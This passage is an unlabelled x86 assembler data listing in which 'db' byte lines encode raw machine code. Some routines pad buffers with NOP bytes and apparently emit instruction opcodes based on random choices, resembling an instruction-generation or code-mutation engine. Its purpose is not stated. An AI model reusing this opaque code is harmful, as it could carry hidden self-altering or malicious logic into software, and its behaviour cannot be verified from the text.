db 08bh, 04dh, 008h, 08dh, 004h, 03eh, 02bh, 04dh, 014h, 051h, 050h, 053h, 0ffh,
075h
db 0fch, 0ffh, 075h, 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 010h, 006h, 000h, 000h,
083h
db 0c4h, 01ch, 085h, 0c0h, 074h, 00bh, 08bh, 04dh, 014h, 003h, 0f0h, 08dh, 044h,
001h
db 0ffh, 0ebh, 008h, 08bh, 045h, 014h, 0c6h, 004h, 03eh, 090h, 046h, 040h, 03bh,
045h
db 008h, 089h, 045h, 014h, 072h, 0c2h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h,
055h
db 08bh, 0ech, 051h, 051h, 053h, 056h, 057h, 0e8h, 063h, 02bh, 000h, 000h, 0a8h,
001h
db 074h, 016h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0e4h,
0fbh
db 0ffh, 0ffh, 083h, 0c4h, 00ch, 0e9h, 0e1h, 000h, 000h, 000h, 068h, 000h, 028h,
000h
db 000h, 068h, 000h, 004h, 000h, 000h, 0e8h, 005h, 02ch, 000h, 000h, 08bh, 04dh,
00ch
db 089h, 045h, 0f8h, 08dh, 074h, 008h, 018h, 056h, 06ah, 001h, 0ffh, 015h, 008h,
04dh
db 000h, 000h, 08bh, 0d8h, 083h, 0c4h, 010h, 085h, 0dbh, 074h, 04dh, 085h, 0f6h,
076h
db 017h, 08bh, 0ceh, 0b8h, 090h, 090h, 090h, 090h, 08bh, 0d1h, 08bh, 0fbh, 0c1h,
0e9h
db 002h, 0f3h, 0abh, 08bh, 0cah, 083h, 0e1h, 003h, 0f3h, 0aah, 08bh, 045h, 010h,
068h
db 0feh, 0ffh, 0feh, 0ffh, 06ah, 000h, 089h, 030h, 0e8h, 06fh, 02bh, 000h, 000h,
050h
db 089h, 045h, 0fch, 0ffh, 075h, 00ch, 0ffh, 075h, 0f8h, 053h, 0e8h, 062h, 0fch,

0ffh
db 0ffh, 08bh, 0f8h, 083h, 0c4h, 018h, 085h, 0ffh, 075h, 00ch, 053h, 0ffh, 015h,
00ch
db 04dh, 000h, 000h, 059h, 033h, 0c0h, 0ebh, 065h, 06ah, 004h, 033h, 0f6h, 058h,
039h
db 045h, 00ch, 072h, 02ch, 089h, 045h, 010h, 0ffh, 075h, 0fch, 08bh, 045h, 008h,
08bh
db 04dh, 010h, 0ffh, 074h, 008h, 0fch, 0e8h, 012h, 0fch, 0ffh, 0ffh, 083h, 045h,
010h
db 004h, 059h, 059h, 08dh, 00ch, 01fh, 089h, 004h, 031h, 08bh, 045h, 010h, 083h,
0c6h
db 004h, 03bh, 045h, 00ch, 076h, 0d7h, 03bh, 075h, 00ch, 073h, 028h, 08bh, 0ceh,
08dh
db 004h, 01fh, 08bh, 055h, 008h, 08ah, 014h, 016h, 088h, 014h, 030h, 046h, 03bh,
075h
db 00ch, 072h, 0f1h, 0ffh, 075h, 0fch, 003h, 0cfh, 0ffh, 034h, 019h, 08dh, 034h,
019h
db 0e8h, 0d2h, 0fbh, 0ffh, 0ffh, 059h, 089h, 006h, 059h, 08bh, 0c3h, 05fh, 05eh,
05bh
db 0c9h, 0c3h, 055h, 08bh, 0ech, 083h, 0ech, 040h, 053h, 056h, 057h, 06ah, 014h,
058h
db 033h, 0f6h, 089h, 045h, 0ech, 089h, 045h, 0f8h, 08bh, 045h, 00ch, 089h, 075h,
0f4h
db 03dh, 0a5h, 000h, 000h, 000h, 089h, 075h, 0e8h, 08dh, 0b8h, 05bh, 0ffh, 0ffh,
0ffh
db 00fh, 082h, 05eh, 002h, 000h, 000h, 03bh, 0feh, 074h, 050h, 08dh, 047h, 0ffh,
050h
db 056h, 0e8h, 0a4h, 02ah, 000h, 000h, 059h, 02bh, 0f8h, 059h, 089h, 045h, 0f4h,
074h
db 03dh, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 091h, 02ah, 000h, 000h, 059h, 02bh,
0f8h
db 059h, 089h, 045h, 0e8h, 074h, 02ah, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 07eh,
02ah
db 000h, 000h, 02bh, 0f8h, 059h, 08dh, 040h, 014h, 059h, 089h, 045h, 0ech, 074h,
014h
db 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 068h, 02ah, 000h, 000h, 02bh, 0f8h, 059h,
083h
db 0c0h, 014h, 059h, 089h, 045h, 0f8h, 083h, 0c7h, 078h, 06ah, 007h, 056h, 089h,
07dh
db 0f0h, 0e8h, 09eh, 02ah, 000h, 000h, 059h, 089h, 045h, 00ch, 059h, 06ah, 004h,
05fh
db 03bh, 0c7h, 075h, 00fh, 06ah, 007h, 056h, 0e8h, 08ah, 02ah, 000h, 000h, 059h,
089h
db 045h, 00ch, 059h, 0ebh, 0edh, 06ah, 007h, 056h, 0e8h, 07bh, 02ah, 000h, 000h,
03bh
db 045h, 00ch, 059h, 059h, 089h, 045h, 0fch, 074h, 0eeh, 03bh, 0c7h, 074h, 0eah,
050h
db 0e8h, 078h, 014h, 000h, 000h, 0ffh, 075h, 00ch, 08bh, 0d8h, 0e8h, 06eh, 014h,
000h
db 000h, 057h, 00bh, 0d8h, 0e8h, 066h, 014h, 000h, 000h, 0ffh, 075h, 0f4h, 08bh,
07dh
db 008h, 00bh, 0d8h, 057h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 056h, 06ah,
007h
db 0e8h, 0e8h, 003h, 000h, 000h, 08bh, 04dh, 0e8h, 08bh, 0f0h, 08bh, 045h, 0ech,
0c6h
db 004h, 03eh, 0e8h, 083h, 064h, 03eh, 001h, 000h, 046h, 003h, 0c1h, 083h, 0c6h,
004h
db 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 06ah,
000h
db 06ah, 00ah, 0e8h, 0bch, 003h, 000h, 000h, 08bh, 04dh, 0f8h, 003h, 0f0h, 083h,
0c4h
db 044h, 089h, 04dh, 008h, 08dh, 014h, 03eh, 051h, 052h, 08bh, 055h, 0f0h, 053h,
003h
db 0d1h, 003h, 0d0h, 052h, 0ffh, 075h, 00ch, 06ah, 003h, 06ah, 001h, 0e8h, 097h,
003h
db 000h, 000h, 083h, 0c4h, 01ch, 003h, 0f0h, 03bh, 045h, 008h, 089h, 045h, 0f8h,
074h
db 052h, 089h, 045h, 0f4h, 073h, 04dh, 08bh, 04dh, 008h, 08dh, 004h, 03eh, 02bh,

04dh
db 0f4h, 051h, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 06ah, 000h, 06ah,
007h
db 0e8h, 06ah, 003h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 017h, 08bh,
04dh
db 0f4h, 08bh, 055h, 0f8h, 08dh, 074h, 006h, 0ffh, 08dh, 04ch, 001h, 0ffh, 08dh,
044h
db 002h, 0ffh, 089h, 045h, 0f8h, 0ebh, 007h, 08bh, 04dh, 0f4h, 0c6h, 004h, 03eh,
090h
db 041h, 046h, 0ffh, 045h, 0f8h, 03bh, 04dh, 008h, 089h, 04dh, 0f4h, 072h, 0b3h,
06ah
db 014h, 058h, 089h, 045h, 008h, 089h, 045h, 0e8h, 08bh, 045h, 0f0h, 083h, 0c0h,
088h
db 085h, 0c0h, 089h, 045h, 0ech, 074h, 029h, 048h, 050h, 06ah, 000h, 0e8h, 020h,
029h
db 000h, 000h, 059h, 059h, 08bh, 04dh, 0ech, 02bh, 0c8h, 08dh, 040h, 014h, 089h,
045h
db 008h, 074h, 011h, 049h, 051h, 06ah, 000h, 0e8h, 008h, 029h, 000h, 000h, 059h,
083h
db 0c0h, 014h, 059h, 089h, 045h, 0e8h, 08bh, 04dh, 00ch, 08bh, 045h, 008h, 089h,
04dh
db 0cch, 08bh, 04dh, 014h, 089h, 04dh, 0d0h, 089h, 045h, 0d8h, 08dh, 04dh, 0c0h,
033h
db 0c0h, 051h, 050h, 089h, 05dh, 0d4h, 089h, 045h, 0c0h, 0c7h, 045h, 0c4h, 005h,
000h
db 000h, 000h, 0c7h, 045h, 0c8h, 004h, 000h, 000h, 000h, 089h, 045h, 0e0h, 089h,
045h
db 0dch, 089h, 045h, 0e4h, 0e8h, 090h, 012h, 000h, 000h, 089h, 045h, 014h, 08bh,
045h
db 0e8h, 089h, 045h, 0d8h, 08bh, 04dh, 00ch, 033h, 0c0h, 089h, 05dh, 0d4h, 089h,
045h
db 0c0h, 089h, 045h, 0e0h, 089h, 045h, 0dch, 089h, 045h, 0e4h, 08dh, 045h, 0c0h,
089h
db 04dh, 0cch, 050h, 0c7h, 045h, 0d0h, 004h, 000h, 000h, 000h, 0ffh, 075h, 014h,
0c7h
db 045h, 0c4h, 001h, 000h, 000h, 000h, 0c7h, 045h, 0c8h, 003h, 000h, 000h, 000h,
0e8h
db 04fh, 012h, 000h, 000h, 08dh, 004h, 03eh, 050h, 08bh, 045h, 010h, 083h, 0c0h,
003h
db 053h, 0c1h, 0e8h, 002h, 050h, 06ah, 003h, 0ffh, 075h, 0fch, 0ffh, 075h, 014h,
0e8h
db 0c6h, 010h, 000h, 000h, 0ffh, 075h, 014h, 089h, 045h, 008h, 0e8h, 0a3h, 012h,
000h
db 000h, 083h, 0c4h, 02ch, 083h, 07dh, 008h, 000h, 075h, 004h, 033h, 0c0h, 0ebh,
075h
db 08bh, 045h, 0f0h, 003h, 075h, 008h, 02bh, 045h, 008h, 074h, 068h, 089h, 045h,
008h
db 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 06ah,
000h
db 06ah, 007h, 0e8h, 026h, 002h, 000h, 000h, 029h, 045h, 008h, 083h, 065h, 014h,
000h
db 083h, 0c4h, 01ch, 003h, 0f0h, 083h, 07dh, 008h, 000h, 076h, 03eh, 08bh, 04dh,
008h
db 08dh, 004h, 03eh, 02bh, 04dh, 014h, 051h, 050h, 053h, 0ffh, 075h, 0fch, 0ffh,
075h
db 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 0f9h, 001h, 000h, 000h, 083h, 0c4h, 01ch,
085h
db 0c0h, 074h, 00bh, 08bh, 04dh, 014h, 003h, 0f0h, 08dh, 044h, 001h, 0ffh, 0ebh,
008h
db 08bh, 045h, 014h, 0c6h, 004h, 03eh, 090h, 046h, 040h, 03bh, 045h, 008h, 089h,
045h
db 014h, 072h, 0c2h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech,
051h
db 053h, 056h, 057h, 0e8h, 04dh, 027h, 000h, 000h, 0a8h, 001h, 074h, 016h, 0ffh,
075h
db 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0cbh, 0fbh, 0ffh, 0ffh, 083h,
0c4h
db 00ch, 0e9h, 0c5h, 000h, 000h, 000h, 068h, 000h, 028h, 000h, 000h, 068h, 000h,

004h
db 000h, 000h, 0e8h, 0efh, 027h, 000h, 000h, 08bh, 04dh, 00ch, 089h, 045h, 0fch,
08dh
db 074h, 008h, 018h, 056h, 06ah, 001h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 08bh,
0d8h
db 083h, 0c4h, 010h, 085h, 0dbh, 074h, 04dh, 085h, 0f6h, 076h, 017h, 08bh, 0ceh,
0b8h
db 090h, 090h, 090h, 090h, 08bh, 0d1h, 08bh, 0fbh, 0c1h, 0e9h, 002h, 0f3h, 0abh,
08bh
db 0cah, 083h, 0e1h, 003h, 0f3h, 0aah, 08bh, 045h, 010h, 068h, 0feh, 0ffh, 0feh,
0ffh
db 06ah, 000h, 089h, 030h, 0e8h, 059h, 027h, 000h, 000h, 050h, 089h, 045h, 010h,
0ffh
db 075h, 00ch, 0ffh, 075h, 0fch, 053h, 0e8h, 069h, 0fch, 0ffh, 0ffh, 08bh, 0f0h,
083h
db 0c4h, 018h, 085h, 0f6h, 075h, 00ch, 053h, 0ffh, 015h, 00ch, 04dh, 000h, 000h,
059h
db 033h, 0c0h, 0ebh, 049h, 06ah, 004h, 033h, 0c9h, 058h, 039h, 045h, 00ch, 072h,
01bh
db 08bh, 055h, 008h, 083h, 0c0h, 004h, 08bh, 07ch, 002h, 0f8h, 08dh, 014h, 01eh,
033h
db 07dh, 010h, 089h, 03ch, 00ah, 083h, 0c1h, 004h, 03bh, 045h, 00ch, 076h, 0e5h,
03bh
db 04dh, 00ch, 073h, 01dh, 08bh, 0c1h, 08dh, 03ch, 01eh, 08bh, 055h, 008h, 08ah,
014h
db 011h, 088h, 014h, 00fh, 041h, 03bh, 04dh, 00ch, 072h, 0f1h, 08bh, 04dh, 010h,
003h
db 0c6h, 003h, 0c3h, 031h, 008h, 08bh, 0c3h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h,
08bh
db 0ech, 051h, 051h, 083h, 07dh, 010h, 000h, 053h, 056h, 057h, 075h, 007h, 033h,
0c0h
db 0e9h, 0b5h, 000h, 000h, 000h, 068h, 010h, 027h, 000h, 000h, 06ah, 032h, 0e8h,
0c5h
db 026h, 000h, 000h, 08bh, 07dh, 00ch, 08bh, 0f0h, 08dh, 004h, 03eh, 050h, 06ah,
001h
db 089h, 045h, 0f8h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 08bh, 0d8h, 033h, 0c0h,
083h
db 0c4h, 010h, 03bh, 0f0h, 074h, 076h, 03bh, 0d8h, 074h, 07eh, 056h, 053h, 06ah,
010h
db 050h, 050h, 050h, 06ah, 007h, 0e8h, 08dh, 000h, 000h, 000h, 083h, 0c4h, 01ch,
03bh
db 0c6h, 073h, 033h, 08dh, 00ch, 018h, 08bh, 0feh, 089h, 04dh, 0fch, 02bh, 0f8h,
06ah
db 001h, 033h, 0c0h, 0ffh, 075h, 0fch, 06ah, 010h, 050h, 050h, 050h, 06ah, 007h,
0e8h
db 069h, 000h, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 075h, 006h, 08bh, 045h,
0fch
db 0c6h, 000h, 090h, 0ffh, 045h, 0fch, 04fh, 075h, 0dah, 08bh, 07dh, 00ch, 08bh,
04dh
db 008h, 033h, 0c0h, 085h, 0ffh, 076h, 00dh, 003h, 0f3h, 08ah, 014h, 008h, 088h,
014h
db 006h, 040h, 03bh, 0c7h, 072h, 0f5h, 051h, 0ffh, 015h, 00ch, 04dh, 000h, 000h,
08bh
db 045h, 0f8h, 059h, 08bh, 04dh, 010h, 089h, 001h, 08bh, 0c3h, 0ebh, 014h, 03bh,
0d8h
db 074h, 008h, 053h, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 059h, 08bh, 045h, 010h,
089h
db 038h, 08bh, 045h, 008h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 08bh, 044h, 024h, 008h,
048h
db 050h, 06ah, 000h, 0e8h, 00ah, 026h, 000h, 000h, 059h, 059h, 0c3h, 055h, 08bh,
0ech
db 08bh, 045h, 008h, 083h, 0f8h, 007h, 00fh, 087h, 0a3h, 000h, 000h, 000h, 00fh,
084h
db 084h, 000h, 000h, 000h, 083h, 0e8h, 000h, 074h, 063h, 048h, 074h, 044h, 048h,
074h
db 025h, 083h, 0e8h, 003h, 00fh, 085h, 097h, 000h, 000h, 000h, 0ffh, 075h, 020h,
0ffh
db 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h,

00ch
db 0e8h, 072h, 009h, 000h, 000h, 0e9h, 0e1h, 000h, 000h, 000h, 0ffh, 075h, 020h,
0ffh
db 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h,
00ch
db 0e8h, 026h, 007h, 000h, 000h, 0e9h, 0c5h, 000h, 000h, 000h, 0ffh, 075h, 020h,
0ffh
db 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h,
00ch
db 0e8h, 0fbh, 004h, 000h, 000h, 0e9h, 0a9h, 000h, 000h, 000h, 0ffh, 075h, 020h,
0ffh
db 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h,
00ch
db 0e8h, 0a8h, 002h, 000h, 000h, 0e9h, 08dh, 000h, 000h, 000h, 0ffh, 075h, 020h,
0ffh
db 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h,
00ch
db 0e8h, 07bh, 000h, 000h, 000h, 0ebh, 074h, 083h, 0e8h, 008h, 074h, 058h, 048h,
074h
db 03ch, 048h, 074h, 020h, 048h, 074h, 004h, 033h, 0c0h, 05dh, 0c3h, 0ffh, 075h,
020h
db 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh,
075h
db 00ch, 0e8h, 0e3h, 00ch, 000h, 000h, 0ebh, 049h, 0ffh, 075h, 020h, 0ffh, 075h,
01ch
db 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h,
086h
db 000h, 000h, 000h, 0ebh, 030h, 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh, 075h,
018h
db 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h, 04eh, 001h, 000h,
000h
db 0ebh, 017h, 0ffh, 075h, 020h, 0ffh, 075h, 01ch, 0ffh, 075h, 018h, 0ffh, 075h,
014h
db 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0e8h, 092h, 00ah, 000h, 000h, 083h, 0c4h,
018h
db 05dh, 0c3h, 055h, 08bh, 0ech, 051h, 083h, 065h, 0fch, 000h, 081h, 07dh, 01ch,
000h
db 000h, 000h, 0f0h, 076h, 004h, 033h, 0c0h, 0c9h, 0c3h, 08bh, 045h, 014h, 068h,
0d1h
db 022h, 000h, 000h, 0ffh, 075h, 018h, 08dh, 04dh, 0fch, 0f7h, 0d0h, 0ffh, 075h,
01ch
db 025h, 0ffh, 000h, 000h, 000h, 068h, 0ffh, 0ffh, 0ffh, 07fh, 051h, 050h, 050h,
068h
db 0ffh, 0ffh, 01fh, 000h, 0e8h, 020h, 024h, 000h, 000h, 050h, 0b8h, 000h, 010h,
000h
db 000h, 0ffh, 0d0h, 08bh, 045h, 0fch, 083h, 0c4h, 024h, 0c9h, 0c3h, 055h, 08bh,
0ech
db 056h, 057h, 08bh, 07dh, 01ch, 085h, 0ffh, 075h, 004h, 033h, 0c0h, 0ebh, 04fh,
0e8h
db 0fbh, 023h, 000h, 000h, 08bh, 075h, 018h, 0a8h, 001h, 074h, 01ah, 057h, 056h,
0ffh
db 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 034h,
000h
db 000h, 000h, 083h, 0c4h, 018h, 085h, 0c0h, 075h, 029h, 08ah, 045h, 00ch, 08dh,
04fh
db 0ffh, 004h, 058h, 06ah, 001h, 088h, 006h, 058h, 085h, 0c9h, 074h, 018h, 046h,
051h
db 056h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h,
0e8h
db 056h, 0ffh, 0ffh, 0ffh, 083h, 0c4h, 018h, 040h, 05fh, 05eh, 05dh, 0c3h, 055h,
08bh
db 0ech, 053h, 08bh, 05dh, 01ch, 08bh, 0c3h, 056h, 057h, 08bh, 07dh, 018h, 0d1h,
0e8h
db 050h, 057h, 0ffh, 075h, 014h, 06ah, 004h, 0ffh, 075h, 00ch, 06ah, 001h, 06ah,
000h
db 0e8h, 000h, 0feh, 0ffh, 0ffh, 08bh, 0f0h, 083h, 0c4h, 01ch, 085h, 0f6h, 074h,
022h
db 08bh, 0c3h, 02bh, 0c6h, 050h, 08dh, 004h, 03eh, 050h, 0ffh, 075h, 014h, 06ah,

004h
db 06ah, 004h, 06ah, 003h, 06ah, 001h, 0e8h, 0deh, 0fdh, 0ffh, 0ffh, 08bh, 0f8h,
083h
db 0c4h, 01ch, 085h, 0ffh, 075h, 004h, 033h, 0c0h, 0ebh, 027h, 02bh, 0dfh, 02bh,
0deh
db 074h, 01eh, 08dh, 004h, 037h, 053h, 003h, 045h, 018h, 050h, 0ffh, 075h, 014h,
0ffh
db 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0ddh, 0feh, 0ffh, 0ffh,
083h
db 0c4h, 018h, 003h, 0f8h, 08dh, 004h, 037h, 05fh, 05eh, 05bh, 05dh, 0c3h, 055h,
08bh
db 0ech, 056h, 057h, 08bh, 07dh, 01ch, 085h, 0ffh, 075h, 004h, 033h, 0c0h, 0ebh,
04fh
db 0e8h, 01ah, 023h, 000h, 000h, 08bh, 075h, 018h, 0a8h, 001h, 074h, 01ah, 057h,
056h
db 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h,
034h
db 000h, 000h, 000h, 083h, 0c4h, 018h, 085h, 0c0h, 075h, 029h, 08ah, 045h, 00ch,
08dh
db 04fh, 0ffh, 004h, 050h, 06ah, 001h, 088h, 006h, 058h, 085h, 0c9h, 074h, 018h,
046h
db 051h, 056h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h,
008h
db 0e8h, 075h, 0feh, 0ffh, 0ffh, 083h, 0c4h, 018h, 040h, 05fh, 05eh, 05dh, 0c3h,
055h
db 08bh, 0ech, 053h, 08bh, 05dh, 01ch, 08bh, 0c3h, 056h, 057h, 08bh, 07dh, 018h,
0d1h
db 0e8h, 050h, 057h, 0ffh, 075h, 014h, 06ah, 004h, 06ah, 004h, 06ah, 003h, 06ah,
002h
db 0e8h, 020h, 0fdh, 0ffh, 0ffh, 08bh, 0f0h, 083h, 0c4h, 01ch, 085h, 0f6h, 074h,
023h
db 08bh, 0c3h, 02bh, 0c6h, 050h, 08dh, 004h, 03eh, 050h, 0ffh, 075h, 014h, 0ffh,
075h
db 00ch, 06ah, 004h, 06ah, 002h, 06ah, 000h, 0e8h, 0fdh, 0fch, 0ffh, 0ffh, 08bh,
0f8h
db 083h, 0c4h, 01ch, 085h, 0ffh, 075h, 004h, 033h, 0c0h, 0ebh, 027h, 02bh, 0dfh,
02bh
db 0deh, 074h, 01eh, 08dh, 004h, 037h, 053h, 003h, 045h, 018h, 050h, 0ffh, 075h,
014h
db 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 0fch, 0fdh, 0ffh,
0ffh
db 083h, 0c4h, 018h, 003h, 0f8h, 08dh, 004h, 037h, 05fh, 05eh, 05bh, 05dh, 0c3h,
055h
db 08bh, 0ech, 051h, 053h, 056h, 057h, 033h, 0ffh, 089h, 07dh, 0fch, 0e8h, 03dh,
022h
db 000h, 000h, 08bh, 075h, 018h, 08bh, 05dh, 010h, 0a8h, 001h, 074h, 021h, 0ffh,
075h
db 01ch, 056h, 0ffh, 075h, 014h, 053h, 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h,
0d8h
db 001h, 000h, 000h, 08bh, 0f8h, 083h, 0c4h, 018h, 085h, 0ffh, 074h, 005h, 0e9h,
0a6h
db 000h, 000h, 000h, 08bh, 045h, 008h, 085h, 0c0h, 00fh, 084h, 097h, 001h, 000h,
000h
db 00fh, 086h, 0aah, 001h, 000h, 000h, 06ah, 002h, 05ah, 03bh, 0c2h, 00fh, 086h,
0bfh
db 000h, 000h, 000h, 083h, 0f8h, 003h, 00fh, 084h, 09bh, 000h, 000h, 000h, 083h,
0f8h
db 004h, 00fh, 085h, 08dh, 001h, 000h, 000h, 08bh, 04dh, 00ch, 06ah, 007h, 058h,
0c6h
db 006h, 0c7h, 03bh, 0c8h, 076h, 01bh, 083h, 07dh, 01ch, 00ah, 00fh, 082h, 076h,
001h
db 000h, 000h, 0c6h, 046h, 001h, 005h, 089h, 04eh, 002h, 089h, 05eh, 006h, 06ah,
00ah
db 0e9h, 046h, 001h, 000h, 000h, 083h, 0f9h, 004h, 075h, 012h, 039h, 045h, 01ch,
00fh
db 082h, 057h, 001h, 000h, 000h, 088h, 04eh, 001h, 0c6h, 046h, 002h, 024h, 0ebh,
016h
db 083h, 0f9h, 005h, 075h, 039h, 039h, 045h, 01ch, 00fh, 082h, 040h, 001h, 000h,

000h
db 080h, 066h, 002h, 000h, 0c6h, 046h, 001h, 045h, 089h, 05eh, 003h, 08bh, 0f8h,
08bh
db 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h, 014h, 053h,
0ffh
db 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 012h, 0fdh, 0ffh, 0ffh, 083h, 0c4h, 018h,
003h
db 0c7h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 083h, 07dh, 01ch, 006h, 00fh, 082h, 006h,
001h
db 000h, 000h, 088h, 04eh, 001h, 089h, 05eh, 002h, 0e9h, 0dah, 000h, 000h, 000h,
083h
db 07dh, 01ch, 005h, 00fh, 082h, 0f1h, 000h, 000h, 000h, 08ah, 045h, 00ch, 089h,
05eh
db 001h, 02ch, 048h, 06ah, 005h, 088h, 006h, 0e9h, 0c1h, 000h, 000h, 000h, 039h,
055h
db 01ch, 00fh, 082h, 0d7h, 000h, 000h, 000h, 083h, 0f8h, 001h, 0c6h, 006h, 089h,
075h
db 003h, 0c6h, 006h, 08bh, 03bh, 0c2h, 075h, 00ah, 08bh, 045h, 00ch, 08bh, 0cbh,
0c1h
db 0e1h, 003h, 0ebh, 00ah, 08bh, 045h, 00ch, 08bh, 0c8h, 08bh, 0c3h, 0c1h, 0e1h,
003h
db 083h, 0f8h, 007h, 076h, 004h, 06ah, 005h, 0ebh, 009h, 0c7h, 045h, 0fch, 001h,
000h
db 000h, 000h, 06ah, 004h, 058h, 00ah, 0c1h, 083h, 07dh, 0fch, 000h, 088h, 046h,
001h
db 074h, 062h, 0e8h, 0e8h, 020h, 000h, 000h, 0a8h, 001h, 075h, 037h, 08bh, 04dh,
00ch
db 083h, 0f9h, 005h, 074h, 02fh, 083h, 0f9h, 004h, 074h, 02ah, 083h, 0fbh, 005h,
074h
db 025h, 083h, 0fbh, 004h, 074h, 020h, 083h, 07dh, 008h, 001h, 075h, 004h, 08bh,
0c1h
db 0ebh, 008h, 083h, 07dh, 008h, 002h, 08bh, 0c3h, 074h, 002h, 08bh, 0cbh, 0c0h,
0e0h
db 003h, 00ah, 0c1h, 06ah, 002h, 088h, 046h, 001h, 0ebh, 037h, 083h, 07dh, 01ch,
007h
db 072h, 050h, 080h, 04eh, 001h, 080h, 083h, 07dh, 008h, 002h, 08bh, 045h, 00ch,
074h
db 002h, 08bh, 0c3h, 00ch, 020h, 083h, 066h, 003h, 000h, 088h, 046h, 002h, 06ah,
007h
db 0ebh, 015h, 083h, 07dh, 01ch, 006h, 072h, 02eh, 039h, 055h, 008h, 08bh, 045h,
00ch
db 074h, 002h, 08bh, 0c3h, 089h, 046h, 002h, 06ah, 006h, 05fh, 0e9h, 0e6h, 0feh,
0ffh
db 0ffh, 083h, 07dh, 01ch, 002h, 072h, 013h, 08ah, 045h, 00ch, 06ah, 002h, 00ch,
0f8h
db 0c6h, 006h, 08bh, 0c0h, 0e0h, 003h, 00ah, 0c3h, 05fh, 088h, 046h, 001h, 085h,
0ffh
db 00fh, 085h, 0c5h, 0feh, 0ffh, 0ffh, 033h, 0c0h, 0e9h, 0dch, 0feh, 0ffh, 0ffh,
055h
db 08bh, 0ech, 0e8h, 040h, 020h, 000h, 000h, 0a8h, 001h, 074h, 01eh, 0ffh, 075h,
01ch
db 0ffh, 075h, 018h, 0ffh, 075h, 014h, 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh,
075h
db 008h, 0e8h, 00bh, 000h, 000h, 000h, 083h, 0c4h, 018h, 085h, 0c0h, 075h, 002h,
033h
db 0c0h, 05dh, 0c3h, 033h, 0c0h, 0c3h, 055h, 08bh, 0ech, 051h, 083h, 065h, 0fch,
000h
db 053h, 056h, 057h, 0e8h, 007h, 020h, 000h, 000h, 08bh, 045h, 008h, 085h, 0c0h,
00fh
db 084h, 0cah, 001h, 000h, 000h, 00fh, 086h, 0e7h, 001h, 000h, 000h, 06ah, 002h,
05ah
db 03bh, 0c2h, 00fh, 086h, 0e7h, 000h, 000h, 000h, 083h, 0f8h, 004h, 00fh, 087h,
0d3h
db 001h, 000h, 000h, 08bh, 075h, 018h, 083h, 0f8h, 003h, 0c6h, 006h, 081h, 075h,
06ah
db 083h, 07dh, 00ch, 000h, 075h, 047h, 0e8h, 0cch, 01fh, 000h, 000h, 0a8h, 001h,
074h
db 006h, 083h, 07dh, 01ch, 006h, 073h, 042h, 06ah, 005h, 05fh, 039h, 07dh, 01ch,

00fh
db 082h, 0a7h, 001h, 000h, 000h, 08bh, 05dh, 010h, 0c6h, 006h, 005h, 089h, 05eh,
001h
db 08bh, 045h, 01ch, 02bh, 0c7h, 050h, 08dh, 004h, 037h, 050h, 0ffh, 075h, 014h,
053h
db 0ffh, 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 035h, 0fbh, 0ffh, 0ffh, 083h, 0c4h,
018h
db 003h, 0c7h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 083h, 07dh, 01ch, 006h, 00fh, 082h,
071h
db 001h, 000h, 000h, 08ah, 045h, 00ch, 02ch, 040h, 08bh, 05dh, 010h, 088h, 046h,
001h
db 089h, 05eh, 002h, 0e9h, 033h, 001h, 000h, 000h, 08bh, 045h, 00ch, 06ah, 007h,
05fh
